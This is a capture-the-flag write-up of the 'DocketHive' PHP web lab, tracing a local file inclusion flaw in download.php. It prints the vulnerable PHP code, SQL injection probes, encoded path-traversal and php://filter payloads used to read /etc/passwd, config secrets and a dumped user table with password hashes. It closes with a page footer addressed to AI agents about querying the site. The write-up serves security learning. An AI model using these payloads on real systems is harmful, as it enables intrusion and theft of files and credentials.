# DocketHive

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FxUYMjzISGMD0oHu9ynBP%2Fimage.png?alt=media&#x26;token=5099f833-069e-450b-be6f-ce06c8cecf47" alt="" width="375"><figcaption></figcaption></figure>

## Room Description

So a new platform popped up that is by the looks of it for now, similar to TryHackMe, HackTheBox, HackingHub etc, specifically focused on web application vulnerabilities and real-life attack scenarios and kill-chains. We're going to start off with an Easy room to see what the difficulties mean and carry on from there.

{% embed url="<https://dashboard.webverselabs-pro.com/labs/dockethive>" %}

> DocketHive is a Portland-based event ticketing SaaS. You've been handed a scope document and told to take a look at their platform before it goes to a wider audience. Create an account and start exploring.

#### Synopsis

A real-world PHP web application with a subtle flaw in how it handles file access. No brute force required — just careful observation.

#### What is DocketHive

A beginner-friendly PHP lab built around a common developer oversight. The vulnerability exists in a legitimate feature of the application.

#### Who is DocketHive for?

Anyone who's done basic path traversal challenges and wants to understand why filters don't always work the way developers intend.

#### Skills / Knowledge

* Web application enumeration
* HTTP parameter analysis
* Reading server responses carefully
* Linux fundamentals

#### What will you gain?

* Trace user-controlled input through a web application's file handling logic
* Identify when a security control can be bypassed rather than broken
* Read and interpret Linux system files to understand a target environment

## Initial Analysis

First up, gotta mention that simply browsing to the IP is insufficient, I added the IP and domain to my `/etc/hosts` file you gotta try both port 80 and port 443, for me it auto opened 443 which Burp didn't recognize for example and had to manually open port 80.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fx94oEDc9oSaxCUnqI32L%2Fimage.png?alt=media&#x26;token=bd6dfd7c-d856-4314-961d-eb82e126d5d2" alt=""><figcaption></figcaption></figure>

Let's try to see if there are any default `admin:admin` credentials, user enumeration or a blind SQLi.

Upon an attempt we get a response with the following text:

{% code overflow="wrap" %}

```html
<div class="dh-alert dh-alert-danger">Invalid email or password.</div>
```

{% endcode %}

No user enumeration, no default credentials and no blind SQLi for now. (`' or 1=1 --`). It is worth checking out the "Forgot password" feature as well for user enumeration, but it's the same case there, there is a unified error message.

Time to create an account!

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fu8IRY1IJ36JYYK5NugG6%2Fimage.png?alt=media&#x26;token=c3750900-67a1-4c4b-9a09-a1dd3c83b9f7" alt=""><figcaption></figcaption></figure>

We do send a role with our registration attempt, so we might look at role manipulation if it's needed, but due to the room description I doubt it, we are looking for an LFI entry point.

## Finding the bug

Alright, so based on the current layout of the web application, we can see that we have the following endpoints (this is without going through the page source/javascript): `/dashboard`, `/events`, `/orders`, `/tickets` and `/profile`.

### /events

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F047ztoaMNUWzYrQTdC4e%2Fimage.png?alt=media&#x26;token=5ae3a383-6648-4f9e-829d-c94643f54853" alt=""><figcaption></figcaption></figure>

In the `/events` endpoint we can filter through events with a keyword search, this might be an entryway for SQLi, we can try, but I doubt it.

First we type text to find an existing event to confirm that it works properly.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FvmQ4Cktk6hYlSGD9xSWY%2Fimage.png?alt=media&#x26;token=725f1c3f-4a1f-4af1-8ec7-e9fa69387771" alt=""><figcaption></figcaption></figure>

Then we can add a `'`  or a `"` to see if any error shows up, but neither work so just to be sure we can try with an always true statement `' OR 1 = 1 --` , and since we don't have any different kind of response from the web application, we can skip this.

### /orders

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FnUzAZejtJEmRWV6iOKKs%2Fimage.png?alt=media&#x26;token=c4f03a5b-b1e2-4c14-a379-eaee1c24ad59" alt=""><figcaption></figcaption></figure>

Okay, nothing here since we don't have an order, I assume the same for `/tickets`.

### /tickets

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fmy1TkMgcIJDUHwsa1HFh%2Fimage.png?alt=media&#x26;token=34798695-32dc-421e-8dab-ef1ed512b338" alt=""><figcaption></figcaption></figure>

Same situation here, and I don't see a way to view other peoples' tickets for now or something.

### /profile

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FcRfc7s53mc1gkAtTEjqS%2Fimage.png?alt=media&#x26;token=a4483cd2-4d94-4874-9976-cbb5a763eb88" alt=""><figcaption></figcaption></figure>

We can edit our profile and we can now see our role, but when I change my full name for example, the role parameter doesn't get sent, so I guess it's fixed upon registration.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Ffr0KdvXDvrYu87A1Rjb1%2Fimage.png?alt=media&#x26;token=c780ee37-ee73-4a3b-8131-513b91ea1817" alt=""><figcaption></figcaption></figure>

Eitherway, nothing to do with LFI, so moving on.

We can try and buy a ticket for an event and see the workflow for that.

### Back to /events

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FSb6p05zaaE9mRwrIxDc1%2Fimage.png?alt=media&#x26;token=fc58f048-1159-47e6-9a77-dc7f00ef1b62" alt=""><figcaption></figcaption></figure>

Nothing that stands out here, since the events are listed by ID we can probably see older events that are closed for example, but other than that, can't think of anything here. (if any of the other events were closed, events from ID 1 to 4 are currently open)

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fd2ZmscHm6x6s1d3USz8F%2Fimage.png?alt=media&#x26;token=37770077-3c04-42b3-9cab-804c979bc01c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FaoETzXVSe5BFSRrPJrb7%2Fimage.png?alt=media&#x26;token=a8559c63-1e9a-4b1f-8e16-c8ded084bde5" alt=""><figcaption></figcaption></figure>

Sending in the request to buy a ticket:

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FTXXH05rbwUj97D60xgjT%2Fimage.png?alt=media&#x26;token=013b03fa-4272-4bb2-b638-0dadd7e32d5d" alt=""><figcaption></figcaption></figure>

Okay, we have an `order_id` parameter that we can maybe manipulate to get an IDOR.

Let's download the receipt first.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F7dwkoxUcc0uO2IBdXzdP%2Fimage.png?alt=media&#x26;token=a474f230-6189-456b-8a84-1dace96cd970" alt=""><figcaption></figcaption></figure>

and the request that went along with the receipt?

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FC3rivp7bt1GszZKzbY3O%2Fimage.png?alt=media&#x26;token=b19c497b-f44b-40a1-b0b3-51cdf2f8a1a4" alt=""><figcaption></figcaption></figure>

Well, well, well, a file parameter that supplies filename for download? Don't mind if I do!

## Exploitation

Right away, we can try to your regular old `/etc/passwd` inclusion or some other sensitive files to see if  we can extract information, of course for this we would need to do directory traversal, we can do this blind or we can also try to find our current working directory and work from there. How we can do that for now is a mystery, but it's the way we need to think.

Without traversal:

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fq4qPpAgbeUXRYiNeG5KS%2Fimage.png?alt=media&#x26;token=f41459bc-7d2d-444d-b117-57fc1f494ceb" alt=""><figcaption></figcaption></figure>

With traversal:

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FEvoJyhQ63nvDgG8iMwwZ%2Fimage.png?alt=media&#x26;token=79bc06db-b343-416e-8da3-b51a25d77383" alt=""><figcaption></figcaption></figure>

Even when trying to bypass a restriction:

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FWvU1ggXv0FEvEurGVwgy%2Fimage.png?alt=media&#x26;token=c822e4cb-6af6-450b-95b4-8cd67a7bdb1a" alt=""><figcaption></figcaption></figure>

Well shucks, of course it isn't that easy, what if we try to download the same file that is allowing us to download files, `download.php`?

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FZiAGuILSdC7KNCJdpUuZ%2Fimage.png?alt=media&#x26;token=06dae18b-08f1-434d-8875-026de026c692" alt=""><figcaption></figcaption></figure>

Great! This is major progress, so we can confirm now that we can download files in the same directory for sure.

### /download.php

We can try and break the script we just got down and see what it does since we will be constantly calling it.

{% code overflow="wrap" %}

```php
if (!isset($_GET['file'])) {
    header('HTTP/1.0 400 Bad Request');
    exit('Missing file parameter');
}
```

{% endcode %}

If the URL doesn't have the `?file=filename.txt` portion then we get a 400 Bad Request response.

{% code overflow="wrap" %}

```php
$file = $_GET['file'];
```

{% endcode %}

This is our input, so whatever we type gets initialized as the file variable.

{% code overflow="wrap" %}

```php
// Reject obviously malformed filenames
if (strpos($file, '../') !== false
    || strpos($file, '..\\') !== false
    || isset($file[0]) && $file[0] === '/'
    || stripos($file, 'file://') === 0) {
    header('HTTP/1.0 400 Bad Request');
    exit('Invalid file path.');
}
```

{% endcode %}

This is some sort of security restriction, and why our directory traversal didn't succeed before.

{% code overflow="wrap" %}

```php
$path = __DIR__ . '/uploads/' . $file;
```

{% endcode %}

We now have the default path set for the input we have, we download from the `/uploads` directory.

{% code overflow="wrap" %}

```php
if (file_exists($path)) {
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    if ($ext === 'pdf') {
        header('Content-Type: application/pdf');
        header('Content-Disposition: attachment; filename="' . basename($path) . '"');
    }

    readfile($path);
```

{% endcode %}

If the file exists in `/upload`, it serves it to us, if it's a PDF, downloads then serves it.

{% code overflow="wrap" %}

```php
} else {
    readfile($file);
}
```

{% endcode %}

Now this is a problem! If the file exists in the /upload directory, then the function getting called is:

{% code overflow="wrap" %}

```php
readfile($path);
```

{% endcode %}

which takes into account that it can only serve files under the /upload directory, whereas:

{% code overflow="wrap" %}

```php
readfile($file);
```

{% endcode %}

Only has the filename as a parameter and nothing else, so if the file we are looking for doesn't exist in `/uploads`, it's going to check for it regardless on the system.

Now we just need to bypass the security restrictions to view any file on the system, we can try URL encoding first and foremost.

### Bypassing Security Restrictions

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion>" %}

Singe URL encoding:

{% code overflow="wrap" %}

```
?file=%2e%2e%2f%2e%2e%2fetc/passwd
```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FR5HupJkx3eMCcBPXD0aq%2Fimage.png?alt=media&#x26;token=7c04d873-25a6-4518-b63f-2097e07f3293" alt=""><figcaption></figcaption></figure>

Double URL encoding:

{% code overflow="wrap" %}

```
?file=%252e%252e%252fetc/passwd
```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FouHwG6WncFYoGiXE8d7j%2Fimage.png?alt=media&#x26;token=b5005f68-a9a1-4d3f-ba81-f7b95e4a43b7" alt=""><figcaption></figcaption></figure>

Okay, so it only gets decoded once, that's why it passes through the filter, we can try with PHP filters now.

Also, our assumption that we can read ANY system file if we just put the filename and it isn't in `/upload` is untrue, we are still located in `/var/www/html` , so a path traversal is a must.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fa0NiQIHB0VcpHo1QYEZt%2Fimage.png?alt=media&#x26;token=d8bc0b5e-b59a-4696-82cc-28c142d87b23" alt=""><figcaption></figcaption></figure>

I digress, PHP filters time.

> **PHP Filter**
>
> Used to access the local file system; this is a case insensitive wrapper that provides the capability to apply filters to a stream at the time of opening a file. This wrapper can be used to get content of a file preventing the server from executing it. For example, allowing an attacker to read the content of PHP files to get source code to identify sensitive information such as credentials or other exploitable vulnerabilities.
>
> The wrapper can be used like `php://filter/convert.base64-encode/resource=FILE` where `FILE` is the file to retrieve. As a result of the usage of this execution, the content of the target file would be read, encoded to base64 (this is the step that prevents the execution server-side), and returned to the User-Agent.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FB9Gvc8JpxFF58dh90pia%2Fimage.png?alt=media&#x26;token=621cd506-4244-4790-a4fa-796bc528ca17" alt=""><figcaption></figcaption></figure>

Great! That worked perfectly.

### Finding the flag

Now that we have `/etc/passwd` output, we can see the users on the machine, the users that interest us are `eric` and `root`, since the others look like default system ones.

So, since we have LFI, we can just bruteforce the flag location, but let's say that the flag wasn't just called flag.txt in eric's directory, we would need to find a way that confirms it's location. Let's try and grab index.php

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FYhXVjzjzeDAVAaCgbonw%2Fimage.png?alt=media&#x26;token=5cd01849-b3a3-44a8-93a6-922f58f0256b" alt=""><figcaption></figcaption></figure>

Decoded from base64 this would be:

{% code overflow="wrap" %}

```php
<?php

require_once __DIR__ . '/src/config.php';
require_once __DIR__ . '/src/Database.php';
require_once __DIR__ . '/src/Auth.php';
require_once __DIR__ . '/src/Router.php';
require_once __DIR__ . '/src/helpers.php';

require_once __DIR__ . '/src/Controller/AuthController.php';
require_once __DIR__ . '/src/Controller/DashboardController.php';
require_once __DIR__ . '/src/Controller/EventController.php';
require_once __DIR__ . '/src/Controller/OrderController.php';
require_once __DIR__ . '/src/Controller/TicketController.php';
require_once __DIR__ . '/src/Controller/ProfileController.php';
require_once __DIR__ . '/src/Controller/ReportController.php';
require_once __DIR__ . '/src/Controller/TeamController.php';
require_once __DIR__ . '/src/Controller/SettingsController.php';

$router = new Router();

// Home redirect
$router->get('/', function () {
    if (Auth::check()) {
        redirect('/dashboard');
    } else {
        redirect('/login');
    }
});

// Auth routes
$router->get('/login', [AuthController::class, 'showLogin']);
$router->post('/login', [AuthController::class, 'login']);
$router->get('/register', [AuthController::class, 'showRegister']);
$router->post('/register', [AuthController::class, 'register']);
$router->get('/forgot-password', [AuthController::class, 'showForgotPassword']);
$router->post('/forgot-password', [AuthController::class, 'forgotPassword']);
$router->get('/reset-password', [AuthController::class, 'showResetPassword']);
$router->post('/reset-password', [AuthController::class, 'resetPassword']);
$router->get('/logout', [AuthController::class, 'logout']);

// Dashboard
$router->get('/dashboard', [DashboardController::class, 'index']);

// Events
$router->get('/events', [EventController::class, 'index']);
$router->get('/events/create', [EventController::class, 'create']);
$router->post('/events/create', [EventController::class, 'store']);
$router->get('/events/:id', [EventController::class, 'show']);
$router->get('/events/:id/attendees', [EventController::class, 'attendees']);
$router->get('/events/:id/register', [EventController::class, 'showRegister']);
$router->post('/events/:id/register', [EventController::class, 'processRegister']);
$router->post('/events/:id/checkin', [EventController::class, 'checkin']);
$router->post('/events/:id/duplicate', [EventController::class, 'duplicate']);
$router->post('/events/:id/promo-codes', [EventController::class, 'addPromoCode']);
$router->post('/events/:id/waitlist', [EventController::class, 'joinWaitlist']);
$router->post('/events/:id/message', [EventController::class, 'sendMessage']);

// Orders
$router->get('/orders', [OrderController::class, 'index']);
$router->get('/orders/:id', [OrderController::class, 'show']);

// Tickets
$router->get('/tickets', [TicketController::class, 'index']);

// Profile
$router->get('/profile', [ProfileController::class, 'index']);
$router->post('/profile', [ProfileController::class, 'update']);
$router->get('/profile/payouts', [ProfileController::class, 'payouts']);
$router->post('/profile/payouts', [ProfileController::class, 'updatePayouts']);

// Reports
$router->get('/reports', [ReportController::class, 'index']);

// Team
$router->get('/team', [TeamController::class, 'index']);
$router->post('/team', [TeamController::class, 'invite']);

// Settings
$router->get('/settings', [SettingsController::class, 'index']);
$router->post('/settings', [SettingsController::class, 'update']);

$router->dispatch($_SERVER['REQUEST_METHOD'], $_SERVER['REQUEST_URI']);

```

{% endcode %}

Let's take a look at `src/config.php`!

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FpXvEPQvLEaBqLbkiEGjg%2Fimage.png?alt=media&#x26;token=40708a20-2c7b-4695-bb1b-c140028cc193" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```php
<?php

define('DB_PATH', '/var/db/dockethive.db');
define('APP_NAME', 'DocketHive');
define('APP_DOMAIN', 'dockethive.io');
define('APP_SECRET', 'dh_s3cr3t_k3y_pr0d_2024_x9f2m');
define('UPLOAD_DIR', __DIR__ . '/../uploads');
define('SESSION_LIFETIME', 86400);
define('WAITLIST_CLAIM_SECRET', 'wl_hmac_k3y_dh_2024');
define('WAITLIST_CLAIM_EXPIRY', 86400);
define('EMAIL_BLAST_LIMIT', 3);
define('EMAIL_BLAST_WINDOW', 86400);

session_start();

if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

```

{% endcode %}

The secrets aren't the flags, so let's take a look at `/var/db/dockethive.db`!

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F6CKGNyhUYpEIrufJA3HM%2Fimage.png?alt=media&#x26;token=34267425-247a-48fc-816c-9dbc9ddcb908" alt=""><figcaption></figcaption></figure>

This is a huge file, so let's save it as a .txt file, decode it from base64 and save it as a .db file to look through it with sqlite3.

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~/…/2026/ctf/webverse/dockethive]
└─$ base64 -d db.txt > dump.db
```

{% endcode %}

To look through the tables we can do .tables:

{% code overflow="wrap" %}

```
└─$ sqlite3 dump.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
event_messages    promo_codes       tickets         
events            settings          users           
orders            ticket_types      waitlist_entries
```

{% endcode %}

Uf, this is web app logic, I might have missed the mark here hahahahah, might be easiest to look through bash\_history to find the flag or something.

{% code overflow="wrap" expandable="true" %}

```sql
sqlite> select * from users;
1|Siouxsie Nakamura|s.nakamura@dockethive.io|$2y$10$gtv1bqtUwgsm1my.P7ifIuityUD1nLCUn8hN7OVB4PH4i3728bKRC|organizer|||2024-09-15 10:00:00
2|Rafael Okonkwo|r.okonkwo@dockethive.io|$2y$10$P7uN9oTM.CWnebLj9Xnm.e/Nelg1PNBJfaMpzj80YEm513TR70QEO|organizer|||2024-09-15 10:00:00
3|Ananya Patel|a.patel@dockethive.io|$2y$10$WmgDks867kVRKgvIZiNuIudmfwgYk4CMTaHi2a5qKCk5EEmBY2RKi|organizer|||2024-09-15 10:00:00
4|Moussa Diallo|m.diallo@dockethive.io|$2y$10$.dzWxIOKKWwbdJ7ctbQrU.nmubcNCaZTN/8jE1zrEoMFxRFtE0TC.|organizer|||2024-09-15 10:00:00
5|Paulo Santos|p.santos@dockethive.io|$2y$10$1LQZ3JMUg9EvcyKxRWkM0u3fhy80YmxM6ne5X1iQHJQLK1MwuEjvq|organizer|||2024-09-15 10:00:00
6|Celine Larsson|c.larsson@dockethive.io|$2y$10$six.eJ.jzAxJVG3o5vXgU.c/WG/VIXXpL7YiH8edJDow3UwmucadW|attendee|||2024-09-15 10:00:00
7|Tae-yang Kim|t.kim@dockethive.io|$2y$10$5Pl8zVMK7dsqVw7zHi89D.5AiBKKnOJTC4m/O.XLRIxM0iL3L/A7q|attendee|||2024-09-15 10:00:00
8|Fatima Ibrahim|f.ibrahim@dockethive.io|$2y$10$5cNL95FDvXRjj8XxVHnPtueJvYkw6eFoMXniPU8s2PF9lU4aY6okK|attendee|||2024-09-15 10:00:00
9|Benjamin Osei|b.osei@dockethive.io|$2y$10$uwV7FeSysl9Rw83h6GrDKu9OPmzPWvi2crmrBuaS2z9ZtIuOwcjiy|attendee|||2024-09-15 10:00:00
10|Hui Chen|h.chen@dockethive.io|$2y$10$ZlysX/u1CSgWy5bujwayqOCuq77o7.f20aD1knoSqzER8mI8blzB.|attendee|||2024-09-15 10:00:00
11|Vera Bergmann|v.bergmann@dockethive.io|$2y$10$eywS9kyevSnRSAdlCIGP4O2znJckwHsdprC3ddCaf9ZK30nZVMwnu|attendee|||2024-09-15 10:00:00
12|Josephine Mensah|j.mensah@dockethive.io|$2y$10$o5CfcufAVo59Nx4xDA3VY.KvaDSMErxsnIdnUNd0Fymg0sSJbSbCm|organizer|||2024-09-15 10:00:00
13|minatour|minatour@gmail.com|$2y$10$q7jDj3RlS3ytVKvRkHJ1VuzMhG5EMX0AINuFwG8HbH.Kn8O4AAw3W|attendee|||2026-04-12 14:44:59
sqlite> select * from settings;
org_name|DocketHive
contact_email|support@dockethive.io
timezone|America/Los_Angeles
currency|USD
smtp_host|smtp.mailgun.org
smtp_port|587
cdn_url|https://cdn.dockethive.io
max_upload_size|10485760
analytics_id|G-DH7X2MK9P3
backup_schedule|daily_0300_utc

```

{% endcode %}

And well, I tried to be a smartass about this, but I genuinely ran out of ideas, /proc/self/environ doesn't output, as well as everything history related, as well as access.log, syslog or anything of that caliber, so I had to just cave and admit that sometimes playing CTFs gets you the flag since it can be common sense that it is in a user's directory. It is what it is :/ Fun challenge nevertheless.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FszmFe9y0MtfGDJtU6jCr%2Fimage.png?alt=media&#x26;token=92f01c5b-22e8-462e-b335-956d71b0d5c5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F4ZcwZsg1NbjdEFPTpKfe%2Fimage.png?alt=media&#x26;token=d290e9d2-42b8-4af9-9e26-b5cb6915d94a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://minatours-notes.gitbook.io/blog/webverse/dockethive.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
